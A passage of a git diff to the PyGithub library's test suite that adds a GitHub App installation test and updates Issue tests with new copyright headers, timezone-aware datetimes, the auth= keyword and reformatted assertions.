import Consts +from github.Auth import AppAuth, AppInstallationAuth + +from . import Framework, GithubIntegration + + +class Installation(Framework.BasicTestCase): + def setUp(self): + super().setUp() + app_id = 36541767 + private_key = GithubIntegration.PRIVATE_KEY + self.auth = AppAuth(app_id, private_key) + self.integration = github.GithubIntegration(auth=self.auth) + self.installations = list(self.integration.get_installations()) + + def testGetRepos(self): + self.assertEqual(len(self.installations), 1) + installation = self.installations[0] + + repos = list(installation.get_repos()) + self.assertEqual(len(repos), 2) + self.assertListEqual([repo.full_name for repo in repos], ["EnricoMi/sandbox", "EnricoMi/python"]) + + def testGetGithubForInstallation(self): + # with verify=False, urllib3.connectionpool rightly may issue an InsecureRequestWarning + # we ignore InsecureRequestWarning from urllib3.connectionpool + with self.ignoreWarning(category=InsecureRequestWarning, module="urllib3.connectionpool"): + kwargs = dict( + auth=AppAuth(319953, GithubIntegration.PRIVATE_KEY), + # http protocol used to deviate from default base url, recording data might require https + base_url="http://api.github.com", + timeout=Consts.DEFAULT_TIMEOUT + 10, + user_agent="PyGithub/Python-Test", + per_page=Consts.DEFAULT_PER_PAGE + 10, + verify=False, + retry=3, + pool_size=10, + seconds_between_requests=100, + seconds_between_writes=1000, + ) + + # assert kwargs consists of ALL requester constructor arguments + self.assertEqual(kwargs.keys(), github.Requester.Requester.__init__.__annotations__.keys()) + + self.integration = github.GithubIntegration(**kwargs) + installations = list(self.integration.get_installations()) + installation = installations[0] + + g = installation.get_github_for_installation() + + self.assertIsInstance(g._Github__requester.auth, AppInstallationAuth) + + actual = g._Github__requester.kwargs + kwargs.update(auth=str(AppInstallationAuth)) + actual.update(auth=str(type(actual["auth"]))) + self.assertDictEqual(kwargs, actual) + + repo = g.get_repo("PyGithub/PyGithub") + self.assertEqual(repo.full_name, "PyGithub/PyGithub") diff --git a/tests/Issue.py b/tests/Issue.py index bb2014b333..64279fd4bf 100644 --- a/tests/Issue.py +++ b/tests/Issue.py @@ -11,8 +11,17 @@ # Copyright 2016 Peter Buckley # # Copyright 2017 Nicolas Agustín Torres # # Copyright 2018 sfdye # +# Copyright 2019 Filipe Laíns # # Copyright 2019 Nick Campbell # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # # Copyright 2020 Huan-Cheng Chang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Nicolas Schweitzer # +# Copyright 2024 Malik Shahzad Muzaffar # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -32,7 +41,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone from . import Framework @@ -45,46 +54,69 @@ def setUp(self): def testAttributes(self): self.assertEqual(self.issue.assignee.login, "jacquev6") - self.assertListKeyEqual( - self.issue.assignees, lambda a: a.login, ["jacquev6", "stuglaser"] - ) + self.assertListKeyEqual(self.issue.assignees, lambda a: a.login, ["jacquev6", "stuglaser"]) self.assertEqual(self.issue.body, "Body edited by PyGithub") self.assertEqual( - self.issue.closed_at, datetime.datetime(2012, 5, 26, 14, 59, 33) + self.issue.closed_at, + datetime(2012, 5, 26, 14, 59, 33, tzinfo=timezone.utc), ) self.assertEqual(self.issue.closed_by.login, "jacquev6") self.assertEqual(self.issue.comments, 0) self.assertEqual( - self.issue.created_at, datetime.datetime(2012, 5, 19, 10, 38, 23) + self.issue.comments_url, + "https://github.com/jacquev6/PyGithub/issues/28/comments", + ) + self.assertEqual( + self.issue.created_at, + datetime(2012, 5, 19, 10, 38, 23, tzinfo=timezone.utc), ) self.assertEqual( - self.issue.html_url, "https://github.com/jacquev6/PyGithub/issues/28" + self.issue.events_url, + "https://github.com/jacquev6/PyGithub/issues/28/events", ) + self.assertEqual(self.issue.html_url, "https://github.com/jacquev6/PyGithub/issues/28") self.assertEqual(self.issue.id, 4653757) self.assertListKeyEqual( self.issue.labels, - lambda l: l.name, + lambda lb: lb.name, ["Bug", "Project management", "Question"], ) + self.assertEqual( + self.issue.labels_url, + "https://github.com/jacquev6/PyGithub/issues/28/labels{/name}", + ) self.assertEqual(self.issue.milestone.title, "Version 0.4") self.assertEqual(self.issue.number, 28) self.assertEqual(self.issue.pull_request.diff_url, None) self.assertEqual(self.issue.pull_request.patch_url, None) self.assertEqual(self.issue.pull_request.html_url, None) self.assertEqual(self.issue.state, "closed") + self.assertEqual(self.issue.state_reason, "completed") self.assertEqual(self.issue.title, "Issue created by PyGithub") self.assertEqual( - self.issue.updated_at, datetime.datetime(2012, 5, 26, 14, 59, 33) - ) - self.assertEqual( - self.issue.url, "https://api.github.com/repos/jacquev6/PyGithub/issues/28" + self.issue.updated_at, + datetime(2012, 5, 26, 14, 59, 33, tzinfo=timezone.utc), ) + self.assertEqual(self.issue.url, "https://api.github.com/repos/jacquev6/PyGithub/issues/28") self.assertFalse(self.issue.locked) self.assertIsNone(self.issue.active_lock_reason) self.assertEqual(self.issue.user.login, "jacquev6") self.assertEqual(self.issue.repository.name, "PyGithub") + self.assertEqual(repr(self.issue), 'Issue(title="Issue created by PyGithub", number=28)') self.assertEqual( - repr(self.issue), 'Issue(title="Issue created by PyGithub", number=28)' + self.issue.reactions, + { + "+1": 0, + "-1": 0, + "confused": 0, + "eyes": 0, + "heart": 0, + "hooray": 2, + "laugh": 0, + "rocket": 0, + "total_count": 2, + "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/28/reactions", + }, ) def testEditWithoutParameters(self): @@ -103,13 +135,11 @@ def testEditWithAllParameters(self): ["jacquev6", "stuglaser"], ) self.assertEqual(self.issue.assignee.login, "jacquev6") - self.assertListKeyEqual( - self.issue.assignees, lambda a: a.login, ["jacquev6", "stuglaser"] - ) + self.assertListKeyEqual(self.issue.assignees, lambda a: a.login, ["jacquev6", "stuglaser"]) self.assertEqual(self.issue.body, "Body edited by PyGithub") self.assertEqual(self.issue.state, "open") self.assertEqual(self.issue.title, "Title edited by PyGithub") - self.assertListKeyEqual(self.issue.labels, lambda l: l.name, ["Bug"]) + self.assertListKeyEqual(self.issue.labels, lambda lb: lb.name, ["Bug"]) def testEditResetMilestone(self): self.assertEqual(self.issue.milestone.title, "Version 0.4") @@ -121,6 +151,16 @@ def testEditResetAssignee(self): self.issue.edit(assignee=None) self.assertEqual(self.issue.assignee, None) + def testEditWithStateReasonNotPlanned(self): + self.issue.edit(state="closed", state_reason="not_planned") + self.assertEqual(self.issue.state, "closed") + self.assertEqual(self.issue.state_reason, "not_planned") + + def testEditWithStateReasonReopened(self): + self.issue.edit(state="open", state_reason="reopened") + self.assertEqual(self.issue.state, "open") + self.assertEqual(self.issue.state_reason, "reopened") + def testLock(self): self.issue.lock("resolved") @@ -132,35 +172,29 @@ def testCreateComment(self): self.assertEqual(comment.id, 5808311) def testGetComments(self): - self.assertListKeyEqual( - self.issue.get_comments(), lambda c: c.user.login, ["jacquev6", "roskakori"] - ) + self.assertListKeyEqual(self.issue.get_comments(), lambda c: c.user.login, ["jacquev6", "roskakori"]) def testGetCommentsSince(self): self.assertListKeyEqual( - self.issue.get_comments(datetime.datetime(2012, 5, 26, 13, 59, 33)), + self.issue.get_comments(datetime(2012, 5, 26, 13, 59, 33, tzinfo=timezone.utc)), lambda c: c.user.login, ["jacquev6", "roskakori"], ) def testGetEvents(self): - self.assertListKeyEqual( - self.issue.get_events(), lambda e: e.id, [15819975, 15820048] - ) + self.assertListKeyEqual(self.issue.get_events(), lambda e: e.id, [15819975, 15820048]) def testGetLabels(self): self.assertListKeyEqual( self.issue.get_labels(), - lambda l: l.name, + lambda lb: lb.name, ["Bug", "Project management", "Question"], ) def testAddAndRemoveAssignees(self): user1 = "jayfk" user2 = self.g.get_user("jzelinskie") - self.assertListKeyEqual( - self.issue.assignees, lambda a: a.login, ["jacquev6", "stuglaser"] - ) + self.assertListKeyEqual(self.issue.assignees, lambda a: a.login, ["jacquev6", "stuglaser"]) self.issue.add_to_assignees(user1, user2) self.assertListKeyEqual( self.issue.assignees, @@ -168,32 +202,28 @@ def testAddAndRemoveAssignees(self): ["jacquev6", "stuglaser", "jayfk", "jzelinskie"], ) self.issue.remove_from_assignees(user1, user2) - self.assertListKeyEqual( - self.issue.assignees, lambda a: a.login, ["jacquev6", "stuglaser"] - ) + self.assertListKeyEqual(self.issue.assignees, lambda a: a.login, ["jacquev6", "stuglaser"]) def testAddAndRemoveLabels(self): bug = self.repo.get_label("Bug") question = self.repo.get_label("Question") self.assertListKeyEqual( self.issue.get_labels(), - lambda l: l.name, + lambda lb: lb.name, ["Bug", "Project management", "Question"], ) self.issue.remove_from_labels(bug) self.assertListKeyEqual( self.issue.get_labels(), - lambda l: l.name, + lambda lb: lb.name, ["Project management", "Question"], ) self.issue.remove_from_labels(question) - self.assertListKeyEqual( - self.issue.get_labels(), lambda l: l.name, ["Project management"] - ) + self.assertListKeyEqual(self.issue.get_labels(), lambda lb: lb.name, ["Project management"]) self.issue.add_to_labels(bug, question) self.assertListKeyEqual( self.issue.get_labels(), - lambda l: l.name, + lambda lb: lb.name, ["Bug", "Project management", "Question"], ) @@ -202,23 +232,21 @@ def testAddAndRemoveLabelsWithStringArguments(self): question = "Question" self.assertListKeyEqual( self.issue.get_labels(), - lambda l: l.name, + lambda lb: lb.name, ["Bug", "Project management", "Question"], ) self.issue.remove_from_labels(bug) self.assertListKeyEqual( self.issue.get_labels(), - lambda l: l.name, + lambda lb: lb.name, ["Project management", "Question"], ) self.issue.remove_from_labels(question) - self.assertListKeyEqual( - self.issue.get_labels(), lambda l: l.name, ["Project management"] - ) + self.assertListKeyEqual(self.issue.get_labels(), lambda lb: lb.name, ["Project management"]) self.issue.add_to_labels(bug, question) self.assertListKeyEqual( self.issue.get_labels(), - lambda l: l.name, + lambda lb: lb.name, ["Bug", "Project management", "Question"], ) @@ -227,30 +255,26 @@ def testDeleteAndSetLabels(self): question = self.repo.get_label("Question") self.assertListKeyEqual( self.issue.get_labels(), - lambda l: l.name, + lambda lb: lb.name, ["Bug", "Project management", "Question"], ) self.issue.delete_labels() self.assertListKeyEqual(self.issue.get_labels(), None, []) self.issue.set_labels(bug, question) - self.assertListKeyEqual( - self.issue.get_labels(), lambda l: l.name, ["Bug", "Question"] - ) + self.assertListKeyEqual(self.issue.get_labels(), lambda lb: lb.name, ["Bug", "Question"]) def testDeleteAndSetLabelsWithStringArguments(self): bug = "Bug" question = "Question" self.assertListKeyEqual( self.issue.get_labels(), - lambda l: l.name, + lambda lb: lb.name, ["Bug", "Project management", "Question"], ) self.issue.delete_labels() self.assertListKeyEqual(self.issue.get_labels(), None, []) self.issue.set_labels(bug, question) - self.assertListKeyEqual( - self.issue.get_labels(), lambda l: l.name, ["Bug", "Question"] - ) + self.assertListKeyEqual(self.issue.get_labels(), lambda lb: lb.name, ["Bug", "Question"]) def testGetReactions(self): reactions = self.issue.get_reactions() @@ -303,9 +327,7 @@ def testGetTimeline(self): self.assertIsNotNone(event.source) self.assertEqual(event.source.type, "issue") self.assertEqual(event.source.issue.number, 857) - self.assertEqual( - repr(event.source), 'TimelineEventSource(type="issue")' - ) + self.assertEqual(repr(event.source), 'TimelineEventSource(type="issue")') else: self.assertIsNotNone(event.id) self.assertIsNotNone(event.node_id) diff --git a/tests/Issue131.py b/tests/Issue131.py index 6a4046aa4f..88e7f00992 100644 --- a/tests/Issue131.py +++ b/tests/Issue131.py @@ -4,6 +4,11 @@ # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # diff --git a/tests/Issue133.py b/tests/Issue133.py index 78a24452cf..49eb77b2c0 100644 --- a/tests/Issue133.py +++ b/tests/Issue133.py @@ -1,9 +1,16 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # diff --git a/tests/Issue134.py b/tests/Issue134.py index 13d971c263..f30c5612ec 100644 --- a/tests/Issue134.py +++ b/tests/Issue134.py @@ -1,10 +1,19 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Steve Kowalik # +# Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -29,17 +38,15 @@ from . import Framework -class Issue134( - Framework.BasicTestCase -): # https://github.com/jacquev6/PyGithub/pull/134 +class Issue134(Framework.BasicTestCase): # https://github.com/jacquev6/PyGithub/pull/134 def testGetAuthorizationsFailsWhenAutenticatedThroughOAuth(self): - g = github.Github(self.oauth_token) + g = github.Github(auth=self.oauth_token) with self.assertRaises(github.GithubException) as raisedexp: list(g.get_user().get_authorizations()) self.assertEqual(raisedexp.exception.status, 404) def testGetAuthorizationsSucceedsWhenAutenticatedThroughLoginPassword(self): - g = github.Github(self.login, self.password) + g = github.Github(auth=self.login) self.assertListKeyEqual( g.get_user().get_authorizations(), lambda a: a.note, @@ -47,7 +54,7 @@ def testGetAuthorizationsSucceedsWhenAutenticatedThroughLoginPassword(self): ) def testGetOAuthScopesFromHeader(self): - g = github.Github(self.oauth_token) + g = github.Github(auth=self.oauth_token) self.assertEqual(g.oauth_scopes, None) g.get_user().name self.assertEqual(g.oauth_scopes, ["repo", "user", "gist"]) diff --git a/tests/Issue139.py b/tests/Issue139.py index bcc44da7bc..a77ba54d61 100644 --- a/tests/Issue139.py +++ b/tests/Issue139.py @@ -1,9 +1,16 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # diff --git a/tests/Issue140.py b/tests/Issue140.py index e5433f4339..36bb20ce10 100644 --- a/tests/Issue140.py +++ b/tests/Issue140.py @@ -3,7 +3,14 @@ # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # +# Copyright 2018 AetherDeity # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -55,8 +62,6 @@ def testGetFileContents(self): def testGetDirContentsWithRef(self): self.assertEqual( - len( - self.repo.get_contents("js", "8c7f9c66a7d12f47f50618ef420868fe836d0c33") - ), + len(self.repo.get_contents("js", "8c7f9c66a7d12f47f50618ef420868fe836d0c33")), 15, ) diff --git a/tests/Issue142.py b/tests/Issue142.py index 4f5f8fb244..d319a56a12 100644 --- a/tests/Issue142.py +++ b/tests/Issue142.py @@ -1,9 +1,18 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # +# Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # diff --git a/tests/Issue174.py b/tests/Issue174.py index 11b57c996e..ca0db121a2 100644 --- a/tests/Issue174.py +++ b/tests/Issue174.py @@ -1,9 +1,17 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # +# Copyright 2018 AetherDeity # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # diff --git a/tests/Issue2030.py b/tests/Issue2030.py index fbf54e655e..a17b5b4ab8 100644 --- a/tests/Issue2030.py +++ b/tests/Issue2030.py @@ -1,3 +1,26 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2021 karthik-kadajji <60779081+karthik-kadajji@users.noreply.github.com># +# Copyright 2023 Enrico Minack # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + from . import Framework diff --git a/tests/Issue214.py b/tests/Issue214.py index 9aea863e1e..13ea959c77 100644 --- a/tests/Issue214.py +++ b/tests/Issue214.py @@ -1,9 +1,17 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # # Copyright 2013 David Farr # +# Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # diff --git a/tests/Issue216.py b/tests/Issue216.py index 988467167f..1a398fa739 100644 --- a/tests/Issue216.py +++ b/tests/Issue216.py @@ -1,9 +1,16 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # diff --git a/tests/Issue278.py b/tests/Issue278.py index 6b46c2c71f..f20a885bc9 100644 --- a/tests/Issue278.py +++ b/tests/Issue278.py @@ -1,8 +1,16 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # diff --git a/tests/Issue33.py b/tests/Issue33.py index a260fe521b..1e4d19b7ec 100644 --- a/tests/Issue33.py +++ b/tests/Issue33.py @@ -6,6 +6,11 @@ # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # diff --git a/tests/Issue494.py b/tests/Issue494.py index 1053510741..0511a9a330 100644 --- a/tests/Issue494.py +++ b/tests/Issue494.py @@ -1,7 +1,19 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Peter Buckley # # Copyright 2016 Sam Corbett # +# Copyright 2018 Steve Kowalik # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -32,7 +44,6 @@ def setUp(self): def testRepr(self): expected = ( - 'PullRequest(title="Change SetHostnameCustomizer to check if ' - '/etc/sysconfig/network exist…", number=465)' + 'PullRequest(title="Change SetHostnameCustomizer to check if ' '/etc/sysconfig/network exist…", number=465)' ) self.assertEqual(self.pull.__repr__(), expected) diff --git a/tests/Issue50.py b/tests/Issue50.py index 81c7dd6f53..fd0853b727 100644 --- a/tests/Issue50.py +++ b/tests/Issue50.py @@ -6,6 +6,12 @@ # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -46,7 +52,7 @@ def testGetLabel(self): def testGetLabels(self): self.assertListKeyEqual( self.repo.get_labels(), - lambda l: l.name, + lambda lb: lb.name, [ "Refactoring", "Public interface", @@ -75,14 +81,14 @@ def testSetIssueLabels(self): def testIssueLabels(self): self.assertListKeyEqual( self.issue.labels, - lambda l: l.name, + lambda lb: lb.name, ["Bug", self.labelName, "RequestedByUser"], ) def testIssueGetLabels(self): self.assertListKeyEqual( self.issue.get_labels(), - lambda l: l.name, + lambda lb: lb.name, ["Bug", self.labelName, "RequestedByUser"], ) @@ -98,5 +104,5 @@ def testCreateIssueWithLabel(self): "Issue created by PyGithub to test issue #50", labels=[self.repo.get_label(self.labelName)], ) - self.assertListKeyEqual(issue.labels, lambda l: l.name, [self.labelName]) + self.assertListKeyEqual(issue.labels, lambda lb: lb.name, [self.labelName]) self.assertEqual(issue.number, 52) diff --git a/tests/Issue54.py b/tests/Issue54.py index d93ca051a9..5b83f9fb65 100644 --- a/tests/Issue54.py +++ b/tests/Issue54.py @@ -6,6 +6,11 @@ # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -25,7 +30,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone from . import Framework @@ -41,4 +46,7 @@ def testConversion(self): commit.message, "Test commit created around Fri, 13 Jul 2012 18:43:21 GMT, that is vendredi 13 juillet 2012 20:43:21 GMT+2\n", ) - self.assertEqual(commit.author.date, datetime.datetime(2012, 7, 13, 18, 47, 10)) + self.assertEqual( + commit.author.date, + datetime(2012, 7, 13, 18, 47, 10, tzinfo=timezone.utc), + ) diff --git a/tests/Issue572.py b/tests/Issue572.py index f30a738c01..147eac91b5 100644 --- a/tests/Issue572.py +++ b/tests/Issue572.py @@ -1,6 +1,18 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Peter Buckley # # Copyright 2018 Shinichi TAMURA # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # diff --git a/tests/Issue80.py b/tests/Issue80.py index 11fcd49f03..d8c098a753 100644 --- a/tests/Issue80.py +++ b/tests/Issue80.py @@ -6,6 +6,12 @@ # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -30,31 +36,22 @@ from . import Framework -class Issue80( - Framework.BasicTestCase -): # https://github.com/jacquev6/PyGithub/issues/80 +class Issue80(Framework.BasicTestCase): # https://github.com/jacquev6/PyGithub/issues/80 def testIgnoreHttpsFromGithubEnterprise(self): - g = github.Github( - self.login, self.password, base_url="http://my.enterprise.com/some/prefix" - ) # http here + g = github.Github(auth=self.login, base_url="http://my.enterprise.com/some/prefix") # http here org = g.get_organization("BeaverSoftware") - self.assertEqual( - org.url, "https://my.enterprise.com/some/prefix/orgs/BeaverSoftware" - ) # https returned + self.assertEqual(org.url, "https://my.enterprise.com/some/prefix/orgs/BeaverSoftware") # https returned self.assertListKeyEqual( org.get_repos(), lambda r: r.name, ["FatherBeaver", "TestPyGithub"] ) # But still http in second request based on org.url def testIgnoreHttpsFromGithubEnterpriseWithPort(self): g = github.Github( - self.login, - self.password, + auth=self.login, base_url="http://my.enterprise.com:1234/some/prefix", ) # http here org = g.get_organization("BeaverSoftware") - self.assertEqual( - org.url, "https://my.enterprise.com:1234/some/prefix/orgs/BeaverSoftware" - ) # https returned + self.assertEqual(org.url, "https://my.enterprise.com:1234/some/prefix/orgs/BeaverSoftware") # https returned self.assertListKeyEqual( org.get_repos(), lambda r: r.name, ["FatherBeaver", "TestPyGithub"] ) # But still http in second request based on org.url diff --git a/tests/Issue823.py b/tests/Issue823.py index 5f31412be0..a60b4e15fd 100644 --- a/tests/Issue823.py +++ b/tests/Issue823.py @@ -1,9 +1,18 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # +# Copyright 2018 AetherDeity # # Copyright 2018 sfdye # +# Copyright 2019 Shibasis Patel # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # diff --git a/tests/Issue87.py b/tests/Issue87.py index d78e755dc9..847e07cd27 100644 --- a/tests/Issue87.py +++ b/tests/Issue87.py @@ -6,6 +6,12 @@ # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -34,9 +40,7 @@ def setUp(self): self.repo = self.g.get_user().get_repo("PyGithub") def testCreateIssueWithPercentInTitle(self): - issue = self.repo.create_issue( - "Issue with percent % in title created by PyGithub" - ) + issue = self.repo.create_issue("Issue with percent % in title created by PyGithub") self.assertEqual(issue.number, 99) def testCreateIssueWithPercentInBody(self): @@ -44,13 +48,9 @@ def testCreateIssueWithPercentInBody(self): self.assertEqual(issue.number, 98) def 